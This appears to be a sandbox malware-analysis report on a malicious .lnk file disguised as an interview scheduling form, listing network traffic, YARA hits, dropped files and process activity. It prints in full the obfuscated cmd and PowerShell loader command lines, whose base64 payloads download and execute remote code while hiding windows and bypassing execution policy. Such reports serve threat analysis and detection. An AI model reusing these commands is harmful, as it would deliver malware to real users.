Source: powershell.exe, 00000002.00000002.2097153241.000002869007E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2097153241.00000286901B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2083999219.00000286818FD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2501273768.0000017834412000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2360864452.000001CE11FF3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.3439807072.0000022FA5A71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.3439807072.0000022FA5BB3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2703778933.000001A901976000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3414931385.000001A910071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000002.00000002.2083999219.0000028681485000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000002.00000002.2083999219.0000028681485000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49880 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi64_3372.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6204, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3372, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Windows\Temp\svczHost.exe

Jump to dropped file

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848F0F21E	5_2_00007FF848F0F21E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848F0FFCE	5_2_00007FF848F0FFCE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF848F24980	10_2_00007FF848F24980
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 31_2_00007FF848F38542	31_2_00007FF848F38542
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 31_2_00007FF848F37796	31_2_00007FF848F37796
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 35_2_00007FF848F2BB69	35_2_00007FF848F2BB69

Source: Joe Sandbox View

Dropped File: C:\Windows\Temp\svczHost.exe 41310862773697FF00306B143FFDA60C87D2EA4E44774289F1F2ED0E74D2CF1B

Source: svczHost.exe.16.dr

Static PE information: Resource name: RT_VERSION type: MacBinary, comment length 97, char. code 0x69, total length 1711304448, Wed Mar 28 22:22:24 2040 INVALID date, modified Tue Feb 7 01:41:58 2040, creator ' ' "4"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 3683
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3636
Source: C:\Windows\Temp\svczHost.exe	Process created: Commandline size = 2904
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 3683	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3636
Source: C:\Windows\Temp\svczHost.exe	Process created: Commandline size = 2904

Source: amsi64_3372.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6204, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 3372, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.expl.evad.winLNK@41/270@1/2

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5236:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5136:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7172:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7116:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\STARTUAC
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:576:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6536:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6580:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6528:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5412:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d5mzir2y.s11.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: Online Interview Scheduling Form.lnk

Virustotal: Detection: 23%

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /v /k "St^art /mIn "" pow^er^S^H^Ell -n^Ol^o^go -NO^P -e^p B^y^P^ass -EN^CO^De^d^cOM^MA^nd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEcAOABBAFoAQQBCAEoAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcANABBAFkAZwBCAFkAQQBGAEkAQQBhAEEAQgBhAEEARABJAEEAVgBnAEIAMQBBAEYAawBBAE0AdwBCAHIAQQBIAFUAQQBZAGcAQQB5AEEARABVAEEAYwB3AEIAaABBAEYAYwBBAE4AUQBCAHMAQQBFAHcAQQBlAGcAQgBDAEEARQBVAEEAWQBRAEEAegBBAEcAOABBAE0AdwBCAGkAQQBHAGMAQQBQAFEAQQA5AEEAQwBJAEEASwBRAEEAcABBAEMAawBBAEsAUQBBAHUAQQBFAE0AQQBUAHcAQgBPAEEASABRAEEAWgBRAEIATwBBAEgAUQBBAEsAUQBBAHAAQQBBAD0APQAiAA=="" && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powerSHEll -nOlogo -NOP -ep ByPass -ENCODedcOMMAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEcAOABBAFoAQQBCAEoAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcANABBAFkAZwBCAFkAQQBGAEkAQQBhAEEAQgBhAEEARABJAEEAVgBnAEIAMQBBAEYAawBBAE0AdwBCAHIAQQBIAFUAQQBZAGcAQQB5AEEARABVAEEAYwB3AEIAaABBAEYAYwBBAE4AUQBCAHMAQQBFAHcAQQBlAGcAQgBDAEEARQBVAEEAWQBRAEEAegBBAEcAOABBAE0AdwBCAGkAQQBHAGMAQQBQAFEAQQA5AEEAQwBJAEEASwBRAEEAcABBAEMAawBBAEsAUQBBAHUAQQBFAE0AQQBUAHcAQgBPAEEASABRAEEAWgBRAEIATwBBAEgAUQBBAEsAUQBBAHAAQQBBAD0APQAiAA=="
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUATgBDAG8AZABJAE4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AG4AYgBYAFIAaABaADIAVgB1AFkAMwBrAHUAYgAyADUAcwBhAFcANQBsAEwAegBCAEUAYQAzAG8AMwBiAGcAPQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBOAHQAKQApAA==
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\lsozgnau\lsozgnau.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4DCB.tmp" "c:\Users\user\AppData\Local\Temp\lsozgnau\CSCDC8C4E3F93914FB7BA165C9B4C26D24F.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\Online Interview Scheduling Form.docx" /o ""
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBnAG0AdABhAGcAZQBuAGMAeQAuAG8AbgBsAGkAbgBlAC8AZgBpAGwAZQAyAC8AOAA0AGUAMAAwADkAYwA1AGUAMgA5ADgAOAAyADMAMgAzADUAOAAwAGIANwBjADcAMAAwAGQANgBkADcAZgBiAGYAMgAwADcAZABmADMANgA4AGQAZgAwADIAMwBhADYAMAA3ADcAMQAwAGMAYQA3AGYANABjADEANgA4ADUANgBjAGYAZgA5ADcAYgA3ADgANgA1ADQAYQA4ADgAMwA5ADkAOQAxADgAMgBhADAANQA0ADAANAA3ADgAOQAwAGMAOAA2ADMAYgBhADMAOABjAGQAMQA0ADIAZABjADEAMQBjAGMAZQA4AGYANwA2ADEAMAA2ADMANwA5AGEAZAAyAGUAMQA1ADYAMAAxAGYAMAA0AGIAZQA0AGYANgA0ADAAOAA0ADgAMwBjADUAMQA1AGEAZgBkAGQAZgA0ADAAZgAxAGEANgAwAGEAOAA3ADEAOAA1AGEAZgA5ADUAYwAzAGQANgBlADEANABiADEAYgA4ADUAZgAxAGQAMwA2AGUAZAA2ADkAYQBiAGIANwAzADUAYQA2ADcAMwA1ADEAZQAyADEAMgA4AGYAZgBiADcAMwBkADQANAA5AGMAMwBiACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoAC
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBnAG0AdABhAGcAZQBuAGMAeQAuAG8AbgBsAGkAbgBlAC8AZgBpAGwAZQAyAC8AOAA0AGUAMAAwADkAYwA1AGUAMgA5ADgAOAAyADMAMgAzADUAOAAwAGIANwBjADcAMAAwAGQANgBkADcAZgBiAGYAMgAwADcAZABmADMANgA4AGQAZgAwADIAMwBhADYAMAA3ADcAMQAwAGMAYQA3AGYANABjADEANgA4ADUANgBjAGYAZgA5ADcAYgA3ADgANgA1ADQAYQA4ADgAMwA5ADkAOQAxADgAMgBhADAANQA0ADAANAA3ADgAOQAwAGMAOAA2ADMAYgBhADMAOABjAGQAMQA0ADIAZABjADEAMQBjAGMAZQA4AGYANwA2ADEAMAA2ADMANwA5AGEAZAAyAGUAMQA1ADYAMAAxAGYAMAA0AGIAZQA0AGYANgA0ADAAOAA0ADgAMwBjADUAMQA1AGEAZgBkAGQAZgA0ADAAZgAxAGEANgAwAGEAOAA3ADEAOAA1AGEAZgA5ADUAYwAzAGQANgBlADEANABiADEAYgA4ADUAZgAxAGQAMwA2AGUAZAA2ADkAYQBiAGIANwAzADUAYQA2ADcAMwA1ADEAZQAyADEAMgA4AGYAZgBiADcAMwBkADQANAA5AGMAMwBiACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIAB